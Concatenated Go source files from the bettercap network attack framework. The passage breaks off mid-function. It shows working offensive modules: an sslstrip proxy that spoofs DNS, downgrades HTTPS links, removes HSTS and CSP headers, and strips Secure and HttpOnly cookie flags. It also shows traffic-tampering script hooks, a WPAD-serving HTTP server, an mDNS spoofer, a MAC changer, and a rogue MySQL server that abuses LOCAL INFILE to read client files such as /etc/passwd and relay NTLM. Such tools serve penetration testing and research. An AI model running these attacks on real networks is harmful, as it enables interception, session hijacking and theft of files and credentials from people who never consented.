package http_proxy import ( "io/ioutil" "net/http" "net/url" "regexp" "strconv" "strings" "github.com/bettercap/bettercap/log" "github.com/bettercap/bettercap/modules/dns_spoof" "github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/session" "github.com/elazarl/goproxy" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/google/gopacket/pcap" "github.com/evilsocket/islazy/tui" "golang.org/x/net/idna" ) var ( httpsLinksParser = regexp.MustCompile(`https://[^"'/]+`) domainCookieParser = regexp.MustCompile(`; ?(?i)domain=.*(;|$)`) flagsCookieParser = regexp.MustCompile(`; ?(?i)(secure|httponly)`) ) type SSLStripper struct { enabled bool session *session.Session cookies *CookieTracker hosts *HostTracker handle *pcap.Handle pktSourceChan chan gopacket.Packet } func NewSSLStripper(s *session.Session, enabled bool) *SSLStripper { strip := &SSLStripper{ enabled: false, cookies: NewCookieTracker(), hosts: NewHostTracker(), session: s, handle: nil, } strip.Enable(enabled) return strip } func (s *SSLStripper) Enabled() bool { return s.enabled } func (s *SSLStripper) onPacket(pkt gopacket.Packet) { typeEth := pkt.Layer(layers.LayerTypeEthernet) typeUDP := pkt.Layer(layers.LayerTypeUDP) if typeEth == nil || typeUDP == nil { return } eth := typeEth.(*layers.Ethernet) dns, parsed := pkt.Layer(layers.LayerTypeDNS).(*layers.DNS) if parsed && dns.OpCode == layers.DNSOpCodeQuery && len(dns.Questions) > 0 && len(dns.Answers) == 0 { udp := typeUDP.(*layers.UDP) for _, q := range dns.Questions { domain := string(q.Name) original := s.hosts.Unstrip(domain) if original != nil && original.Address != nil { redir, who := dns_spoof.DnsReply(s.session, 1024, pkt, eth, udp, domain, original.Address, dns, eth.SrcMAC) if redir != "" && who != "" { log.Debug("[%s] Sending spoofed DNS reply for %s %s to %s.", tui.Green("dns"), tui.Red(domain), tui.Dim(redir), tui.Bold(who)) } } } } } func (s *SSLStripper) Enable(enabled bool) { s.enabled = enabled if enabled && s.handle == nil { var err error if s.handle, err = network.Capture(s.session.Interface.Name()); err != nil { panic(err) } if err = s.handle.SetBPFFilter("udp"); err != nil { panic(err) } go func() { defer func() { s.handle.Close() s.handle = nil }() for s.enabled { src := gopacket.NewPacketSource(s.handle, s.handle.LinkType()) s.pktSourceChan = src.Packets() for packet := range s.pktSourceChan { if !s.enabled { break } s.onPacket(packet) } } }() } } func (s *SSLStripper) isContentStrippable(res *http.Response) bool { for name, values := range res.Header { for _, value := range values { if name == "Content-Type" { return strings.HasPrefix(value, "text/") || strings.Contains(value, "javascript") } } } return false } func (s *SSLStripper) stripURL(url string) string { return strings.Replace(url, "https://", "http://", 1) } // sslstrip preprocessing, takes care of: // // - handling stripped domains // - making unknown session cookies expire func (s *SSLStripper) Preprocess(req *http.Request, ctx *goproxy.ProxyCtx) (redir *http.Response) { if !s.enabled { return } // handle stripped domains original := s.hosts.Unstrip(req.Host) if original != nil { log.Info("[%s] Replacing host %s with %s in request from %s and transmitting HTTPS", tui.Green("sslstrip"), tui.Bold(req.Host), tui.Yellow(original.Hostname), req.RemoteAddr) req.Host = original.Hostname req.URL.Host = original.Hostname req.Header.Set("Host", original.Hostname) req.URL.Scheme = "https" } if !s.cookies.IsClean(req) { // check if we need to redirect the user in order // to make unknown session cookies expire log.Info("[%s] Sending expired cookies for %s to %s", tui.Green("sslstrip"), tui.Yellow(req.Host), req.RemoteAddr) s.cookies.Track(req) redir = s.cookies.Expire(req) } return } func (s *SSLStripper) fixCookies(res *http.Response) { origHost := res.Request.URL.Hostname() strippedHost := s.hosts.Strip(origHost) if strippedHost != nil && strippedHost.Hostname != origHost && res.Header["Set-Cookie"] != nil { // get domains from hostnames if origParts, strippedParts := strings.Split(origHost, "."), strings.Split(strippedHost.Hostname, "."); len(origParts) > 1 && len(strippedParts) > 1 { origDomain := origParts[len(origParts)-2] + "." + origParts[len(origParts)-1] strippedDomain := strippedParts[len(strippedParts)-2] + "." + strippedParts[len(strippedParts)-1] log.Info("[%s] Fixing cookies on %s", tui.Green("sslstrip"), tui.Bold(strippedHost.Hostname)) cookies := make([]string, len(res.Header["Set-Cookie"])) // replace domain and strip "secure" flag for each cookie for i, cookie := range res.Header["Set-Cookie"] { domainIndex := domainCookieParser.FindStringIndex(cookie) if domainIndex != nil { cookie = cookie[:domainIndex[0]] + strings.Replace(cookie[domainIndex[0]:domainIndex[1]], origDomain, strippedDomain, 1) + cookie[domainIndex[1]:] } cookies[i] = flagsCookieParser.ReplaceAllString(cookie, "") } res.Header["Set-Cookie"] = cookies s.cookies.Track(res.Request) } } } func (s *SSLStripper) fixResponseHeaders(res *http.Response) { res.Header.Del("Content-Security-Policy-Report-Only") res.Header.Del("Content-Security-Policy") res.Header.Del("Strict-Transport-Security") res.Header.Del("Public-Key-Pins") res.Header.Del("Public-Key-Pins-Report-Only") res.Header.Del("X-Frame-Options") res.Header.Del("X-Content-Type-Options") res.Header.Del("X-WebKit-CSP") res.Header.Del("X-Content-Security-Policy") res.Header.Del("X-Download-Options") res.Header.Del("X-Permitted-Cross-Domain-Policies") res.Header.Del("X-Xss-Protection") res.Header.Set("Allow-Access-From-Same-Origin", "*") res.Header.Set("Access-Control-Allow-Origin", "*") res.Header.Set("Access-Control-Allow-Methods", "*") res.Header.Set("Access-Control-Allow-Headers", "*") } func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) { if !s.enabled { return } s.fixResponseHeaders(res) orig := res.Request.URL origHost := orig.Hostname() // is the server redirecting us? if res.StatusCode != 200 { // extract Location header if location, err := res.Location(); location != nil && err == nil { newHost := location.Host newURL := location.String() // are we getting redirected from http to https? if orig.Scheme == "http" && location.Scheme == "https" { log.Info("[%s] Got redirection from HTTP to HTTPS: %s -> %s", tui.Green("sslstrip"), tui.Yellow("http://"+origHost), tui.Bold("https://"+newHost)) // strip the URL down to an alternative HTTP version and save it to an ASCII Internationalized Domain Name strippedURL := s.stripURL(newURL) parsed, _ := url.Parse(strippedURL) hostStripped := parsed.Hostname() hostStripped, _ = idna.ToASCII(hostStripped) s.hosts.Track(newHost, hostStripped) res.Header.Set("Location", strippedURL) } } } // if we have a text or html content type, fetch the body // and perform sslstripping if s.isContentStrippable(res) { raw, err := ioutil.ReadAll(res.Body) if err != nil { log.Error("Could not read response body: %s", err) return } body := string(raw) urls := make(map[string]string) matches := httpsLinksParser.FindAllString(body, -1) for _, u := range matches { // make sure we only strip valid URLs if parsed, _ := url.Parse(u); parsed != nil { // strip the URL down to an alternative HTTP version urls[u] = s.stripURL(u) } } nurls := len(urls) if nurls > 0 { plural := "s" if nurls == 1 { plural = "" } log.Info("[%s] Stripping %d SSL link%s from %s", tui.Green("sslstrip"), nurls, plural, tui.Bold(res.Request.Host)) } for u, stripped := range urls { log.Debug("Stripping url %s to %s", tui.Bold(u), tui.Yellow(stripped)) body = strings.Replace(body, u, stripped, -1) // save stripped host to an ASCII Internationalized Domain Name parsed, _ := url.Parse(u) hostOriginal := parsed.Hostname() parsed, _ = url.Parse(stripped) hostStripped := parsed.Hostname() hostStripped, _ = idna.ToASCII(hostStripped) s.hosts.Track(hostOriginal, hostStripped) } res.Header.Set("Content-Length", strconv.Itoa(len(body))) // fix cookies domain + strip "secure" + "httponly" flags s.fixCookies(res) // reset the response body to the original unread state // but with just a string reader, this way further calls // to ioutil.ReadAll(res.Body) will just return the content // we stripped without downloading anything again. res.Body = ioutil.NopCloser(strings.NewReader(body)) } }
Go
bettercap/modules/http_proxy/http_proxy_cert_cache.go
package http_proxy import ( "crypto/tls" "fmt" "sync" ) var ( certCache = make(map[string]*tls.Certificate) certLock = &sync.Mutex{} ) func keyFor(domain string, port int) string { return fmt.Sprintf("%s:%d", domain, port) } func getCachedCert(domain string, port int) *tls.Certificate { certLock.Lock() defer certLock.Unlock() if cert, found := certCache[keyFor(domain, port)]; found { return cert } return nil } func setCachedCert(domain string, port int, cert *tls.Certificate) { certLock.Lock() defer certLock.Unlock() certCache[keyFor(domain, port)] = cert }
Go
bettercap/modules/http_proxy/http_proxy_js_request.go
package http_proxy import ( "bytes" "fmt" "io/ioutil" "net/http" "net/url" "regexp" "strings" "github.com/bettercap/bettercap/session" ) type JSRequest struct { Client map[string]string Method string Version string Scheme string Path string Query string Hostname string Port string ContentType string Headers string Body string req *http.Request refHash string bodyRead bool } var header_regexp = regexp.MustCompile(`^\s*(.*?)\s*:\s*(.*)\s*$`) func NewJSRequest(req *http.Request) *JSRequest { headers := "" cType := "" for name, values := range req.Header { for _, value := range values { headers += name + ": " + value + "\r\n" if strings.ToLower(name) == "content-type" { cType = value } } } client_ip := strings.Split(req.RemoteAddr, ":")[0] client_mac := "" client_alias := "" if endpoint := session.I.Lan.GetByIp(client_ip); endpoint != nil { client_mac = endpoint.HwAddress client_alias = endpoint.Alias } jreq := &JSRequest{ Client: map[string]string{"IP": client_ip, "MAC": client_mac, "Alias": client_alias}, Method: req.Method, Version: fmt.Sprintf("%d.%d", req.ProtoMajor, req.ProtoMinor), Scheme: req.URL.Scheme, Hostname: req.URL.Hostname(), Port: req.URL.Port(), Path: req.URL.Path, Query: req.URL.RawQuery, ContentType: cType, Headers: headers, req: req, bodyRead: false, } jreq.UpdateHash() return jreq } func (j *JSRequest) NewHash() string { hash := fmt.Sprintf("%s.%s.%s.%s.%s.%s.%s.%s.%s.%s", j.Client["IP"], j.Method, j.Version, j.Scheme, j.Hostname, j.Port, j.Path, j.Query, j.ContentType, j.Headers) hash += "." + j.Body return hash } func (j *JSRequest) UpdateHash() { j.refHash = j.NewHash() } func (j *JSRequest) WasModified() bool { // body was read if j.bodyRead { return true } // check if any of the fields has been changed return j.NewHash() != j.refHash } func (j *JSRequest) GetHeader(name, deflt string) string { headers := strings.Split(j.Headers, "\r\n") for i := 0; i < len(headers); i++ { if headers[i] != "" { header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1) if len(header_parts) != 0 && len(header_parts[0]) == 3 { header_name := string(header_parts[0][1]) header_value := string(header_parts[0][2]) if strings.ToLower(name) == strings.ToLower(header_name) { return header_value } } } } return deflt } func (j *JSRequest) SetHeader(name, value string) { name = strings.TrimSpace(name) value = strings.TrimSpace(value) if strings.ToLower(name) == "content-type" { j.ContentType = value } headers := strings.Split(j.Headers, "\r\n") for i := 0; i < len(headers); i++ { if headers[i] != "" { header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1) if len(header_parts) != 0 && len(header_parts[0]) == 3 { header_name := string(header_parts[0][1]) header_value := string(header_parts[0][2]) if strings.ToLower(name) == strings.ToLower(header_name) { old_header := header_name + ": " + header_value + "\r\n" new_header := name + ": " + value + "\r\n" j.Headers = strings.Replace(j.Headers, old_header, new_header, 1) return } } } } j.Headers += name + ": " + value + "\r\n" } func (j *JSRequest) RemoveHeader(name string) { headers := strings.Split(j.Headers, "\r\n") for i := 0; i < len(headers); i++ { if headers[i] != "" { header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1) if len(header_parts) != 0 && len(header_parts[0]) == 3 { header_name := string(header_parts[0][1]) header_value := string(header_parts[0][2]) if strings.ToLower(name) == strings.ToLower(header_name) { removed_header := header_name + ": " + header_value + "\r\n" j.Headers = strings.Replace(j.Headers, removed_header, "", 1) return } } } } } func (j *JSRequest) ReadBody() string { raw, err := ioutil.ReadAll(j.req.Body) if err != nil { return "" } j.Body = string(raw) j.bodyRead = true // reset the request body to the original unread state j.req.Body = ioutil.NopCloser(bytes.NewBuffer(raw)) return j.Body } func (j *JSRequest) ParseForm() map[string]string { if j.Body == "" { j.Body = j.ReadBody() } form := make(map[string]string) parts := strings.Split(j.Body, "&") for _, part := range parts { nv := strings.SplitN(part, "=", 2) if len(nv) == 2 { unescaped, err := url.QueryUnescape(nv[1]) if err == nil { form[nv[0]] = unescaped } else { form[nv[0]] = nv[1] } } } return form } func (j *JSRequest) ToRequest() (req *http.Request) { portPart := "" if j.Port != "" { portPart = fmt.Sprintf(":%s", j.Port) } url := fmt.Sprintf("%s://%s%s%s?%s", j.Scheme, j.Hostname, portPart, j.Path, j.Query) if j.Body == "" { req, _ = http.NewRequest(j.Method, url, j.req.Body) } else { req, _ = http.NewRequest(j.Method, url, strings.NewReader(j.Body)) } headers := strings.Split(j.Headers, "\r\n") for i := 0; i < len(headers); i++ { if headers[i] != "" { header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1) if len(header_parts) != 0 && len(header_parts[0]) == 3 { header_name := string(header_parts[0][1]) header_value := string(header_parts[0][2]) if strings.ToLower(header_name) == "content-type" { if header_value != j.ContentType { req.Header.Set(header_name, j.ContentType) continue } } req.Header.Set(header_name, header_value) } } } req.RemoteAddr = j.Client["IP"] return }
Go
bettercap/modules/http_proxy/http_proxy_js_response.go
package http_proxy import ( "bytes" "fmt" "io/ioutil" "net/http" "strings" "github.com/elazarl/goproxy" ) type JSResponse struct { Status int ContentType string Headers string Body string refHash string resp *http.Response bodyRead bool bodyClear bool } func NewJSResponse(res *http.Response) *JSResponse { cType := "" headers := "" code := 200 if res != nil { code = res.StatusCode for name, values := range res.Header { for _, value := range values { headers += name + ": " + value + "\r\n" if strings.ToLower(name) == "content-type" { cType = value } } } } resp := &JSResponse{ Status: code, ContentType: cType, Headers: headers, resp: res, bodyRead: false, bodyClear: false, } resp.UpdateHash() return resp } func (j *JSResponse) NewHash() string { return fmt.Sprintf("%d.%s.%s", j.Status, j.ContentType, j.Headers) } func (j *JSResponse) UpdateHash() { j.refHash = j.NewHash() } func (j *JSResponse) WasModified() bool { if j.bodyRead { // body was read return true } else if j.bodyClear { // body was cleared manually return true } else if j.Body != "" { // body was not read but just set return true } // check if any of the fields has been changed return j.NewHash() != j.refHash } func (j *JSResponse) GetHeader(name, deflt string) string { headers := strings.Split(j.Headers, "\r\n") for i := 0; i < len(headers); i++ { if headers[i] != "" { header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1) if len(header_parts) != 0 && len(header_parts[0]) == 3 { header_name := string(header_parts[0][1]) header_value := string(header_parts[0][2]) if strings.ToLower(name) == strings.ToLower(header_name) { return header_value } } } } return deflt } func (j *JSResponse) SetHeader(name, value string) { name = strings.TrimSpace(name) value = strings.TrimSpace(value) if strings.ToLower(name) == "content-type" { j.ContentType = value } headers := strings.Split(j.Headers, "\r\n") for i := 0; i < len(headers); i++ { if headers[i] != "" { header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1) if len(header_parts) != 0 && len(header_parts[0]) == 3 { header_name := string(header_parts[0][1]) header_value := string(header_parts[0][2]) if strings.ToLower(name) == strings.ToLower(header_name) { old_header := header_name + ": " + header_value + "\r\n" new_header := name + ": " + value + "\r\n" j.Headers = strings.Replace(j.Headers, old_header, new_header, 1) return } } } } j.Headers += name + ": " + value + "\r\n" } func (j *JSResponse) RemoveHeader(name string) { headers := strings.Split(j.Headers, "\r\n") for i := 0; i < len(headers); i++ { if headers[i] != "" { header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1) if len(header_parts) != 0 && len(header_parts[0]) == 3 { header_name := string(header_parts[0][1]) header_value := string(header_parts[0][2]) if strings.ToLower(name) == strings.ToLower(header_name) { removed_header := header_name + ": " + header_value + "\r\n" j.Headers = strings.Replace(j.Headers, removed_header, "", 1) return } } } } } func (j *JSResponse) ClearBody() { j.Body = "" j.bodyClear = true } func (j *JSResponse) ToResponse(req *http.Request) (resp *http.Response) { resp = goproxy.NewResponse(req, j.ContentType, j.Status, j.Body) headers := strings.Split(j.Headers, "\r\n") for i := 0; i < len(headers); i++ { if headers[i] != "" { header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1) if len(header_parts) != 0 && len(header_parts[0]) == 3 { header_name := string(header_parts[0][1]) header_value := string(header_parts[0][2]) resp.Header.Add(header_name, header_value) } } } return } func (j *JSResponse) ReadBody() string { defer j.resp.Body.Close() raw, err := ioutil.ReadAll(j.resp.Body) if err != nil { return "" } j.Body = string(raw) j.bodyRead = true j.bodyClear = false // reset the response body to the original unread state j.resp.Body = ioutil.NopCloser(bytes.NewBuffer(raw)) return j.Body }
Go
bettercap/modules/http_proxy/http_proxy_script.go
package http_proxy import ( "net/http" "github.com/bettercap/bettercap/log" "github.com/bettercap/bettercap/session" "github.com/robertkrimen/otto" "github.com/evilsocket/islazy/plugin" ) type HttpProxyScript struct { *plugin.Plugin doOnRequest bool doOnResponse bool doOnCommand bool } func LoadHttpProxyScript(path string, sess *session.Session) (err error, s *HttpProxyScript) { log.Debug("loading proxy script %s ...", path) plug, err := plugin.Load(path) if err != nil { return } // define session pointer if err = plug.Set("env", sess.Env.Data); err != nil { log.Error("Error while defining environment: %+v", err) return } // run onLoad if defined if plug.HasFunc("onLoad") { if _, err = plug.Call("onLoad"); err != nil { log.Error("Error while executing onLoad callback: %s", "\nTraceback:\n "+err.(*otto.Error).String()) return } } s = &HttpProxyScript{ Plugin: plug, doOnRequest: plug.HasFunc("onRequest"), doOnResponse: plug.HasFunc("onResponse"), doOnCommand: plug.HasFunc("onCommand"), } return } func (s *HttpProxyScript) OnRequest(original *http.Request) (jsreq *JSRequest, jsres *JSResponse) { if s.doOnRequest { jsreq := NewJSRequest(original) jsres := NewJSResponse(nil) if _, err := s.Call("onRequest", jsreq, jsres); err != nil { log.Error("%s", err) return nil, nil } else if jsreq.WasModified() { jsreq.UpdateHash() return jsreq, nil } else if jsres.WasModified() { jsres.UpdateHash() return nil, jsres } } return nil, nil } func (s *HttpProxyScript) OnResponse(res *http.Response) (jsreq *JSRequest, jsres *JSResponse) { if s.doOnResponse { jsreq := NewJSRequest(res.Request) jsres := NewJSResponse(res) if _, err := s.Call("onResponse", jsreq, jsres); err != nil { log.Error("%s", err) return nil, nil } else if jsres.WasModified() { jsres.UpdateHash() return nil, jsres } } return nil, nil } func (s *HttpProxyScript) OnCommand(cmd string) bool { if s.doOnCommand { if ret, err := s.Call("onCommand", cmd); err != nil { log.Error("Error while executing onCommand callback: %+v", err) return false } else if v, ok := ret.(bool); ok { return v } } return false }
Go
bettercap/modules/http_server/http_server.go
package http_server import ( "context" "fmt" "net/http" "strings" "time" "github.com/bettercap/bettercap/session" "github.com/evilsocket/islazy/tui" ) type HttpServer struct { session.SessionModule server *http.Server } func NewHttpServer(s *session.Session) *HttpServer { mod := &HttpServer{ SessionModule: session.NewSessionModule("http.server", s), server: &http.Server{}, } mod.AddParam(session.NewStringParameter("http.server.path", ".", "", "Server folder.")) mod.AddParam(session.NewStringParameter("http.server.address", session.ParamIfaceAddress, session.IPv4Validator, "Address to bind the http server to.")) mod.AddParam(session.NewIntParameter("http.server.port", "80", "Port to bind the http server to.")) mod.AddHandler(session.NewModuleHandler("http.server on", "", "Start httpd server.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("http.server off", "", "Stop httpd server.", func(args []string) error { return mod.Stop() })) return mod } func (mod *HttpServer) Name() string { return "http.server" } func (mod *HttpServer) Description() string { return "A simple HTTP server, to be used to serve files and scripts across the network." } func (mod *HttpServer) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *HttpServer) Configure() error { var err error var path string var address string var port int if mod.Running() { return session.ErrAlreadyStarted(mod.Name()) } if err, path = mod.StringParam("http.server.path"); err != nil { return err } router := http.NewServeMux() fileServer := http.FileServer(http.Dir(path)) router.HandleFunc("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { mod.Debug("%s %s %s%s", tui.Bold(strings.Split(r.RemoteAddr, ":")[0]), r.Method, r.Host, r.URL.Path) if r.URL.Path == "/proxy.pac" || r.URL.Path == "/wpad.dat" { w.Header().Set("Content-Type", "application/x-ns-proxy-autoconfig") } fileServer.ServeHTTP(w, r) })) mod.server.Handler = router if err, address = mod.StringParam("http.server.address"); err != nil { return err } if err, port = mod.IntParam("http.server.port"); err != nil { return err } mod.server.Addr = fmt.Sprintf("%s:%d", address, port) return nil } func (mod *HttpServer) Start() error { if err := mod.Configure(); err != nil { return err } return mod.SetRunning(true, func() { var err error mod.Info("starting on http://%s", mod.server.Addr) if err = mod.server.ListenAndServe(); err != nil && err != http.ErrServerClosed { mod.Error("%v", err) mod.Stop() } }) } func (mod *HttpServer) Stop() error { return mod.SetRunning(false, func() { ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second) defer cancel() mod.server.Shutdown(ctx) }) }
Go
bettercap/modules/mac_changer/mac_changer.go
package mac_changer import ( "fmt" "net" "runtime" "strings" "github.com/bettercap/bettercap/core" "github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/session" "github.com/evilsocket/islazy/tui" ) type MacChanger struct { session.SessionModule iface string originalMac net.HardwareAddr fakeMac net.HardwareAddr } func NewMacChanger(s *session.Session) *MacChanger { mod := &MacChanger{ SessionModule: session.NewSessionModule("mac.changer", s), } mod.AddParam(session.NewStringParameter("mac.changer.iface", session.ParamIfaceName, "", "Name of the interface to use.")) mod.AddParam(session.NewStringParameter("mac.changer.address", session.ParamRandomMAC, "[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}", "Hardware address to apply to the interface.")) mod.AddHandler(session.NewModuleHandler("mac.changer on", "", "Start mac changer module.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("mac.changer off", "", "Stop mac changer module and restore original mac address.", func(args []string) error { return mod.Stop() })) return mod } func (mod *MacChanger) Name() string { return "mac.changer" } func (mod *MacChanger) Description() string { return "Change active interface mac address." } func (mod *MacChanger) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *MacChanger) Configure() (err error) { var changeTo string if err, mod.iface = mod.StringParam("mac.changer.iface"); err != nil { return err } else if err, changeTo = mod.StringParam("mac.changer.address"); err != nil { return err } changeTo = network.NormalizeMac(changeTo) if mod.fakeMac, err = net.ParseMAC(changeTo); err != nil { return err } mod.originalMac = mod.Session.Interface.HW return nil } func (mod *MacChanger) setMac(mac net.HardwareAddr) error { var args []string os := runtime.GOOS if strings.Contains(os, "bsd") || os == "darwin" { args = []string{mod.iface, "ether", mac.String()} } else if os == "linux" || os == "android" { args = []string{mod.iface, "hw", "ether", mac.String()} } else { return fmt.Errorf("OS %s is not supported by mac.changer module.", os) } _, err := core.Exec("ifconfig", args) if err == nil { mod.Session.Interface.HW = mac } return err } func (mod *MacChanger) Start() error { if mod.Running() { return session.ErrAlreadyStarted(mod.Name()) } else if err := mod.Configure(); err != nil { return err } else if err := mod.setMac(mod.fakeMac); err != nil { return err } return mod.SetRunning(true, func() { mod.Info("interface mac address set to %s", tui.Bold(mod.fakeMac.String())) }) } func (mod *MacChanger) Stop() error { return mod.SetRunning(false, func() { if err := mod.setMac(mod.originalMac); err == nil { mod.Info("interface mac address restored to %s", tui.Bold(mod.originalMac.String())) } else { mod.Error("error while restoring mac address: %s", err) } }) }
Go
bettercap/modules/mdns_server/mdns_server.go
package mdns_server import ( "fmt" "io/ioutil" "log" "net" "os" "github.com/bettercap/bettercap/session" "github.com/evilsocket/islazy/str" "github.com/evilsocket/islazy/tui" "github.com/hashicorp/mdns" ) type MDNSServer struct { session.SessionModule hostname string instance string service *mdns.MDNSService server *mdns.Server } func NewMDNSServer(s *session.Session) *MDNSServer { host, _ := os.Hostname() mod := &MDNSServer{ SessionModule: session.NewSessionModule("mdns.server", s), hostname: host, } mod.AddParam(session.NewStringParameter("mdns.server.host", mod.hostname+".", "", "mDNS hostname to advertise on the network.")) mod.AddParam(session.NewStringParameter("mdns.server.service", "_companion-link._tcp.", "", "mDNS service name to advertise on the network.")) mod.AddParam(session.NewStringParameter("mdns.server.domain", "local.", "", "mDNS domain.")) mod.AddParam(session.NewStringParameter("mdns.server.address", session.ParamIfaceAddress, session.IPv4Validator, "IPv4 address of the mDNS service.")) mod.AddParam(session.NewStringParameter("mdns.server.address6", session.ParamIfaceAddress6, session.IPv6Validator, "IPv6 address of the mDNS service.")) mod.AddParam(session.NewIntParameter("mdns.server.port", "52377", "Port of the mDNS service.")) mod.AddParam(session.NewStringParameter("mdns.server.info", "rpBA=DE:AD:BE:EF:CA:FE, rpAD=abf99d4ff73f, rpHI=ec5fb3caf528, rpHN=20f8fb46e2eb, rpVr=164.16, rpHA=7406bd0eff69", "", "Comma separated list of informative TXT records for the mDNS server.")) mod.AddHandler(session.NewModuleHandler("mdns.server on", "", "Start mDNS server.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("mdns.server off", "", "Stop mDNS server.", func(args []string) error { return mod.Stop() })) return mod } func (mod *MDNSServer) Name() string { return "mdns.server" } func (mod *MDNSServer) Description() string { return "A mDNS server module to create multicast services or spoof existing ones." } func (mod *MDNSServer) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *MDNSServer) Configure() (err error) { if mod.Running() { return session.ErrAlreadyStarted(mod.Name()) } var host string var service string var domain string var ip4 string var ip6 string var port int var info string if err, host = mod.StringParam("mdns.server.host"); err != nil { return err } else if err, service = mod.StringParam("mdns.server.service"); err != nil { return err } else if err, domain = mod.StringParam("mdns.server.domain"); err != nil { return err } else if err, ip4 = mod.StringParam("mdns.server.address"); err != nil { return err } else if err, ip6 = mod.StringParam("mdns.server.address6"); err != nil { return err } else if err, port = mod.IntParam("mdns.server.port"); err != nil { return err } else if err, info = mod.StringParam("mdns.server.info"); err != nil { return err } log.SetOutput(ioutil.Discard) mod.instance = fmt.Sprintf("%s%s%s", host, service, domain) mod.service, err = mdns.NewMDNSService( mod.instance, service, domain, host, port, []net.IP{ net.ParseIP(ip4), net.ParseIP(ip6), }, str.Comma(info)) return err } func (mod *MDNSServer) Start() error { if err := mod.Configure(); err != nil { return err } return mod.SetRunning(true, func() { var err error mod.Info("advertising service %s -> %s:%d", tui.Bold(mod.instance), mod.service.IPs, mod.service.Port) if mod.server, err = mdns.NewServer(&mdns.Config{Zone: mod.service}); err != nil { mod.Error("%v", err) mod.Stop() } }) } func (mod *MDNSServer) Stop() error { return mod.SetRunning(false, func() { mod.server.Shutdown() }) }
Go
bettercap/modules/mysql_server/mysql_server.go
package mysql_server import ( "bufio" "bytes" "fmt" "io/ioutil" "net" "strings" "github.com/bettercap/bettercap/packets" "github.com/bettercap/bettercap/session" "github.com/evilsocket/islazy/tui" ) type MySQLServer struct { session.SessionModule address *net.TCPAddr listener *net.TCPListener infile string outfile string } func NewMySQLServer(s *session.Session) *MySQLServer { mod := &MySQLServer{ SessionModule: session.NewSessionModule("mysql.server", s), } mod.AddParam(session.NewStringParameter("mysql.server.infile", "/etc/passwd", "", "File you want to read. UNC paths are also supported.")) mod.AddParam(session.NewStringParameter("mysql.server.outfile", "", "", "If filled, the INFILE buffer will be saved to this path instead of being logged.")) mod.AddParam(session.NewStringParameter("mysql.server.address", session.ParamIfaceAddress, session.IPv4Validator, "Address to bind the mysql server to.")) mod.AddParam(session.NewIntParameter("mysql.server.port", "3306", "Port to bind the mysql server to.")) mod.AddHandler(session.NewModuleHandler("mysql.server on", "", "Start mysql server.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("mysql.server off", "", "Stop mysql server.", func(args []string) error { return mod.Stop() })) return mod } func (mod *MySQLServer) Name() string { return "mysql.server" } func (mod *MySQLServer) Description() string { return "A simple Rogue MySQL server, to be used to exploit LOCAL INFILE and read arbitrary files from the client." } func (mod *MySQLServer) Author() string { return "Bernardo Rodrigues (https://twitter.com/bernardomr)" } func (mod *MySQLServer) Configure() error { var err error var address string var port int if mod.Running() { return session.ErrAlreadyStarted(mod.Name()) } else if err, mod.infile = mod.StringParam("mysql.server.infile"); err != nil { return err } else if err, mod.outfile = mod.StringParam("mysql.server.outfile"); err != nil { return err } else if err, address = mod.StringParam("mysql.server.address"); err != nil { return err } else if err, port = mod.IntParam("mysql.server.port"); err != nil { return err } else if mod.address, err = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:%d", address, port)); err != nil { return err } else if mod.listener, err = net.ListenTCP("tcp", mod.address); err != nil { return err } return nil } func (mod *MySQLServer) Start() error { if err := mod.Configure(); err != nil { return err } return mod.SetRunning(true, func() { mod.Info("server starting on address %s", mod.address) for mod.Running() { if conn, err := mod.listener.AcceptTCP(); err != nil { mod.Warning("error while accepting tcp connection: %s", err) continue } else { defer conn.Close() // TODO: include binary support and files > 16kb clientAddress := strings.Split(conn.RemoteAddr().String(), ":")[0] readBuffer := make([]byte, 16384) reader := bufio.NewReader(conn) read := 0 mod.Info("connection from %s", clientAddress) if _, err := conn.Write(packets.MySQLGreeting); err != nil { mod.Warning("error while writing server greeting: %s", err) continue } else if _, err = reader.Read(readBuffer); err != nil { mod.Warning("error while reading client message: %s", err) continue } // parse client capabilities and validate connection // TODO: parse mysql connections properly and // display additional connection attributes capabilities := fmt.Sprintf("%08b", (int(uint32(readBuffer[4]) | uint32(readBuffer[5])<<8))) loadData := string(capabilities[8]) username := string(bytes.Split(readBuffer[36:], []byte{0})[0]) mod.Info("can use LOAD DATA LOCAL: %s", loadData) mod.Info("login request username: %s", tui.Bold(username)) if _, err := conn.Write(packets.MySQLFirstResponseOK); err != nil { mod.Warning("error while writing server first response ok: %s", err) continue } else if _, err := reader.Read(readBuffer); err != nil { mod.Warning("error while reading client message: %s", err) continue } else if _, err := conn.Write(packets.MySQLGetFile(mod.infile)); err != nil { mod.Warning("error while writing server get file request: %s", err) continue } else if read, err = reader.Read(readBuffer); err != nil { mod.Warning("error while readind buffer: %s", err) continue } if strings.HasPrefix(mod.infile, "\\") { mod.Info("NTLM from '%s' relayed to %s", clientAddress, mod.infile) } else if fileSize := read - 9; fileSize < 4 { mod.Warning("unexpected buffer size %d", read) } else { mod.Info("read file ( %s ) is %d bytes", mod.infile, fileSize) fileData := readBuffer[4 : read-4] if mod.outfile == "" { mod.Info("\n%s", string(fileData)) 